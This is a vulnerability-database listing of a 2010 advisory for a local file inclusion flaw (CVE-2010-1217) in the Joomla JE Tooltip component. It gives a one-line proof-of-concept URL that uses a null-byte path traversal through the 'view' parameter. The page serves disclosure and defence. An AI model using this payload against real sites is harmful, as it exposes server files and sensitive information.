Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2010-1217 | 19 Mar 201000:00 | – | circl |
 | CVE-2010-1217 | 30 Mar 201023:00 | – | cve |
 | CVE-2010-1217 | 30 Mar 201023:00 | – | cvelist |
 | EUVD-2010-1247 | 7 Oct 202500:30 | – | euvd |
 | Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion | 16 Aug 202602:26 | – | nuclei |
 | CVE-2010-1217 | 30 Mar 201023:30 | – | nvd |
 | Directory traversal | 30 Mar 201023:30 | – | prion |
---------------------------------------------------------------------------------
joomla component & plugin JE Tooltip Local File Inclusion
---------------------------------------------------------------------------------
Author : Chip D3 Bi0s
Group : LatinHackTeam
Email & msn : chipdebios[alt+64]gmail.com
Date : 11 March 2010
Critical Lvl : Moderate
Impact : Exposure of sensitive information
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : JE Tooltip (component and plugin)
version : 1.0
Developer : Hardik Mistry
License : GPL type : Commercial
Date Added : 11 March 2010
Demo : http://joomlaextensions.co.in/formcreator/
Download : http://joomlaextensions.co.in/extensions/joomla-module.html?page=shop.product_details&category_id=4&flypage=flypage.tpl&product_id=51&vmcchk=1
Description :
JE Tooltip new Joomla 1.5 native MVC component and plugin that allows you to enter a word that you want to put on tool tip word. User can put the unlimited tooltips.
Below steps follow for installation:-
Go to Joomla Installation and install the component and plugin.
After that you can create tooltip on specific words on your entire website.
---------------------------------------------------------------------------
Vulnerable file: jeformcr.php
--------------------
how to exploit
http://192.168.0.1/index.php?option=com_jeformcr&view={LFI}%00
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.06429